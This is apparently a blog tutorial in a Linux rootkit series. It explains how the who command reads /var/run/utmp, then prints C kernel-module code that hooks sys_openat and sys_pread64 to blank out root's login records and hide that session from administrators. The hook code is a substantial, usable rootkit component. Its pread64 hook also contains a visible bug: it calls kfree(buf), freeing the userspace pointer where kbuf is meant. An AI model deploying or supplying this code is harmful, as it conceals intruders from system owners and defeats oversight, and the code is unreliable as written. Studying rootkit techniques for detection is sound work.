Linux Rootkits Part 9: Hiding Logged In Users (Modifying File Contents Without Touching Disk)
Let’s see if we can hide the fact that a user is logged in! The idea is that we’ll be able to spawn a shell or login in as some user (we’ll choose root) and not have it show up in the output of tools like who or finger.
Looking at the output of who, we see a list of all the active terminal devices and the users associated to them. Before going further, it will be useful to understand what there are.
Terminal Devices⌗
Despite the name and what we commonly think of as “terminals”, terminal devices are not restricted to just opening a console window. In the output of who, you’ll probably see a tty device first, followed by a few pts devices (the history of why “tty” is used - short for teletype - is super interesting! Check out ESR’s famous post for a good explanation).
Put simply, a tty device is a “physical terminal” - one that is actually attached to hardware and isn’t emulated. Typically, there’ll only be one of these per user (although not necessarily) and is only really used to spawn a display driver (X, Wayland, etc), or just the login session by itself if you’re physically on a server.
A pts device is a “pseudo terminal”, which means that it’s emulated, and not directly attached to hardware (i.e. if it freezes or locks up, the whole user session won’t crash). This is likely what you’re most familiar with - opening up a terminal from your desktop is probably the most common example. If you’re a serial multiplexer like me, then every tmux and screen window is also a new pts device (try spawning a few and checking the output of who each time). If you want to know which pts is assigned to your current terminal, then the tty command is your friend.
If you take a look at /dev, then you’ll probably see a lot of tty devices, however not all of these are actually attached anywhere (in fact, most are not). Under /dev/pts, you’ll see your active pts devices too. There isn’t much that we can do to them here though, so let’s go back to the output of who.
UTMP⌗
Seeing as we don’t know how who “knows” who’s logged in, the easiest thing to do is to run it through strace. I suspected that it might be using a file somewhere on the system to keep track of users, so I applied the -e openat filter to only look at the files that who was opening on the system. This paid off as we find the following line in the output:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3
This looks interesting! Let’s take a look at this file ourselves:
$ cat /var/run/utmp
pts/0ts/0vagrant10.0.2.2y_|H5~~~runlevel5.4.0-48-genericy_tty1tty1tty1LOGINy_
Other than the word pts and the username vagrant in there, this looks like junk. However, the size of the file (on my system) is 1536, so there’s clearly a lot of unprintable bytes in there. Piping the output into xxd or hexyl confirms that we’ve got a binary file. If we take a look at man utmp, we discover that utmp does indeed store login records for the system - and the file we’ve found is just a dump of number of utmp structs! Excellent - we can parse this ourselves.
Before diving straight into writing a kernel module (at this point, I still wasn’t sure how I was going to hide a user without overwriting this file), I decided to write a userspace tool to parse this file to get to grips with it’s layout. The result is enum_utmp and it’s output on the same system as before looks like:
$ ./enum_utmp
[Entry 0]
ut_type = BOOT_TIME
ut_pid = 0 - ""
ut_line = ~
ut_user = reboot
[Entry 1]
ut_type = RUN_LVL
ut_pid = 53 - ""
ut_line = ~
ut_user = runlevel
[Entry 2]
ut_type = LOGIN_PROCESS
ut_pid = 659 - "/sbin/agetty"
ut_line = tty1
ut_user = LOGIN
[Entry 3]
ut_type = USER_PROCESS
ut_pid = 1154 - "sshd: vagrant [priv]"
ut_line = pts/0
ut_user = vagrant
It’s very simple: first it reads the contents of /var/run/utmp into a buffer, then it loops over each 384 byte chunk (the size of the utmp struct defined by /usr/include/utmp.h), printing out four of the most relevant fields for each struct. For added insight, it also looks up the name of the process assigned to the PID for each entry too (under /proc/$PID/cmdline).
Clearly, this is now our target for manipulation. We could just edit this file and remove entries where ut_user matches root, but let’s be a little more clever. Let’s see if we can modify reads to /var/run/utmp on the fly without touching disk!
How do userspace tools parse UTMP?⌗
First, we need to go back to the output of strace from earlier. We know that who calls sys_openat() to open /var/run/utmp, but what does it do next? Here is a (heavily truncated) output of strace who:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3
pread64(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 0) = 384
pread64(3, "\1\0\0\0005\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 384) = 384
pread64(3, "\6\0\0\0\223\2\0\0tty1\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 768) = 384
pread64(3, "\7\0\0\0\202\4\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 1152) = 384
pread64(3, "", 384, 1536) = 0
close(3) = 0
Aha! Those 4 calls to sys_pread64() correspond to the 4 entries in the output of enum_utmp above. This tells us that who uses the sys_pread64() syscall to read the contents of /var/run/utmp in chunks of 384 bytes at a time (the final argument of sys_pread64() is an offset, and we can see above that it starts at 0 (the start of the file) and increments by 384 each time it’s called).
If we can intercept these calls to sys_pread64() with a syscall hook, we can parse each buffer that gets filled as a utmp struct and overwrite any whose ut_user field matches root with 0x0! This technique is similar in idea to Part 6 and Part 7, but, as you’ll soon see, the execution is quite different.
The trouble is that we can’t just parse every buffer filled by sys_pread64() - how do we know that it’s even a utmp struct? I suppose we could check if the size of the buffer is exactly 384 bytes, but that’s still a bit messy. A nicer idea is to hook sys_openat() too and watch for an attempt to open /var/run/utmp (remember, read syscalls only get a file descriptor, whereas open syscalls get the actual filename!). We can then save this file descriptor so we only have to check whether it matches the argument passed to sys_pread64(). This will also not bog down the kernel as much because we’re only doing an integer comparison each time sys_pread64() is called rather than parsing every single buffer that passes through.
Hooking The Syscalls⌗
Experimenting with hooking sys_openat() is nasty. This is because it gets called almost constantly, and is very sensitive to timing delays. This means that we don’t have much breathing space in our hook to do much. In particular, if we save the return value of sys_openat() and then take too long before returning, the whole system locks up (another reason why using vagrant is so useful!). This is especially the case if there is any branching behaviour going on.
In order to avoid this, when we write the hook_openat() function, we have to be very careful to have as little code as possible between calling orig_openat() and returning the file descriptor it gives us. Luckily, the thing we care about is the filename, which is passed as an argument to sys_openat(). That means that we’re free to do our comparisons and if/else statements before we ever have to call orig_openat().
With all that in mind, the actual hook is fairly simple:
/*
* Global variable for the file descriptor we need to mess with.
* In practice, hook_openat() will set it, and hook_pread64()
* will read it.
*/
int tamper_fd;
/* Declaration for the real sys_openat() - pointer fixed by Ftrace */
static asmlinkage long (*orig_openat)(const struct pt_regs *);
/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs *regs)
{
/*
* Pull the filename out of the regs struct
*/
char *filename = (char *)regs->si;
char *kbuf;
char *target = "/var/run/utmp";
int target_len = 14;
long error;
/*
* Allocate a kernel buffer to copy the filename into
* If it fails, just return the real sys_openat() without delay
*/
kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
if(kbuf == NULL)
return orig_openat(regs);
/*
* Copy the filename from userspace into the kernel buffer
* If it fails, just return the real sys_openat() without delay
*/
error = copy_from_user(kbuf, filename, NAME_MAX);
if(error)
return orig_openat(regs);
/*
* Compare the filename to "/var/run/utmp"
* If we get a match, call orig_openat(), save the result in tamper_fd,
* and return after freeing the kernel buffer. We just about get away with
* this delay between calling and returning
*/
if ( memcmp(kbuf, target, target_len) == 0 )
{
tamper_fd = orig_openat(regs);
kfree(kbuf);
return tamper_fd;
}
/*
* If we didn't get a match, then just need to free the buffer and return
*/
kfree(kbuf);
return orig_openat(regs);
}
Okay, that’s fairly straightforward. Luckily, there seems to be just enough tolerance to let us free the kernel buffer in-between saving the file descriptor to tamper_fd and returning it to userspace (hook_openat() is going to get called a lot, so we definitely don’t want to leave un-free’d kernel buffers lying around!).
Next up, we need to write the hook_pread64() function. The arguments for sys_pread64() are the same as sys_read() except we have an extra loff_t offset which indicates how far into the file we’re reading (this is incremented by 384 each time sys_pread64() is called by who). This means that our hook will take a very similar form to previous hooks of syscalls that fill buffers.
The first thing we can check is whether the fd argument (stored in the rdi register) matches tamper_fd (and while we’re at it, we’d better make sure fd isn’t 0, 1 or 2). If we get a match, then we can go ahead and allocate a kernel buffer, call the real syscall, and copy the filled userspace buffer into the kernel one. At this point, we can parse the buffer by casting it to a utmp struct (I had to stick the struct’s definition into a header file because the real utmp.h isn’t a kernel header - see utmp.h on the repo).
Once we’ve done that, we can compare the ut_user field with root. If we get a match, then we just overwrite the buffer with 0x0 and copy it back to the user! If you want to hide a user other than root, then of course you need to change it to something else.
#include "utmp.h"
#define HIDDEN_USER "root"
/* This is the global tamper_fd variable that gets set by hook_openat() */
int tamper_fd;
/* Usual declaration of orig_pread64(), will have pointer fixed by ftrace */
static asmlinkage long (*orig_pread64)(const struct pt_regs *);
/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs *regs)
{
/*
* Pull the arguments we need out of the regs struct
*/
int fd = regs->di;
char *buf = (char *)regs->si;
size_t count = regs->dx;
char *kbuf;
struct utmp *utmp_buf;
long error;
int i, ret;
/*
* Check that fd = tamper_fd and that we're not messing with STDIN,
* STDOUT or STDERR
*/
if ( (tamper_fd == fd) &&
(tamper_fd != 0) &&
(tamper_fd != 1) &&
(tamper_fd != 2) )
{
/*
* Allocate the usual kernel buffer
* The count argument from rdx is the size of the buffer (should be 384)
*/
kbuf = kzalloc(count, GFP_KERNEL);
if( kbuf == NULL)
return orig_pread64(regs);
/*
* Do the real syscall, save the return value in ret
* buf will then hold a utmp struct, but we need to copy it into kbuf first
*/
ret = orig_pread64(regs);
error = copy_from_user(kbuf, buf, count);
if (error != 0)
return ret;
/*
* Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
*/
utmp_buf = (struct utmp *)kbuf;
if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
{
/*
* If we get a match, then we can just overwrite kbuf with 0x0
*/
for ( i = 0 ; i < count ; i++ )
kbuf[i] = 0x0;
/*
* Copy kbuf back to the userspace buf
*/
error = copy_to_user(buf, kbuf, count);
kfree(kbuf);
return ret;
}
/*
* We intercepted a sys_pread64() to /var/run/utmp, but this entry
* isn't about HIDDEN_USER, so just free the kernel buffer and return
*/
kfree(buf);
return ret;
}
/*
* This isn't a sys_pread64() to /var/run/utmp, do nothing
*/
return orig_pread64(regs);
}
And that’s pretty much all there is to it! Filling out the rest (Ftrace, pre-4.17 calling convention version, etc)), or grabbing the source from the repo, and we can get testing!
If we want to create a new pts assigned to root, we need to use a terminal multiplexer. The easiest for this is probably screen (a simple sudo bash isn’t enough).
If you’ve not used
screenbefore, the basic usage is very simple;screen -S <name>will create a new terminal called<name>. At this point you’ll see a new shell prompt.Ctrl-afollowed bydwill detach from the terminal and take you back to where you were before. Now, you can usescreen -lsto list all the screen sessions, andscreen -x <name>to reattach to one. It’s especially useful for running updates on servers via SSH on a ropey connection.
We can start up a root terminal with sudo screen -S root_term and then switch to another terminal (detaching will result in root not showing up in who at all). Run who and check that both your user and root are in the list.
Next, we can load the kernel module and try running who again - this time root is nowhere to be seen! If you jump back to terminal running screen as root, you’ll see that the session is totally unaffected. It’s especially amusing to run who from root’s terminal just to be told that you aren’t logged in! Unloading the module will undo everything and root will show up again.
Keep in mind that we never actually touch the /var/run/utmp file! All we did was sit and wait for something (who) to open it, and then intercepted the subsequent reads.
A Caveat⌗
With the module loaded and root terminal still open, let’s try running ./enum_utmp again. One of my entries is:
[Entry 6]
ut_type = USER_PROCESS
ut_pid = 5301 - "/bin/bash"
ut_line = pts/2
ut_user = root
Hmmm… Why does ./enum_utmp still see the root account, but who (and finger, etc) don’t? Recall that, in the strace of who, we saw that it continually makes sys_pread64() calls of size 384 until it gets to the end of the file. If you take a look at the source ./enum_utmp.c, you can see that I didn’t do that:
/*
* Copy the contents of /var/run/utmp into our buffer
*/
fread((void *)buf, sizeof(struct utmp), BUFSIZE / sizeof(struct utmp), fp);
Here, I used fread() which, according the man page, reads binary input from a file descriptor. All it does is copy BUFSIZE / sizeof(struct utmp) chunks of size sizeof(struct utmp) bytes from the file descriptor fp into the buffer buf. In other words, BUFSIZE bytes of data get read from fp into buf.
That’s all good for source code, but let’s see what happens after it’s compiled. Here’s the (heavily truncated) output of strace ./enum_utmp:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY) = 3
read(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 12288) = 2688
read(3, "", 8192) = 0
close(3) = 0
See that we only make a single sys_read() call (well, 2 if you count the empty one after it at the end of the file). Notice that the return value is 2688, which is 7 * 384. To be quite honest, this is pretty bad practice because BUFSIZE is hardcoded to 12288 = 32 * 384 on line 6 - what would happen if there were more than 32 entries in /var/run/utmp? We’d miss them, that’s what. But enum_utmp was only written to get a better understanding of the utmp struct, so it’s not too big a deal.
Having said that, because we copy the whole file into a buffer and then parse it 384 bytes at a time (line 61), we don’t succumb to the pitfalls that who and finger do (which, arguably, do things the “right way” by reading and parsing only 384 bytes at a time until they reach the end of the file).
For all these reasons, enum_utmp still shows that root is logged in despite who and finger being oblivious. It seems we’d defeated our rootkit before we’d even written it!
Until next time…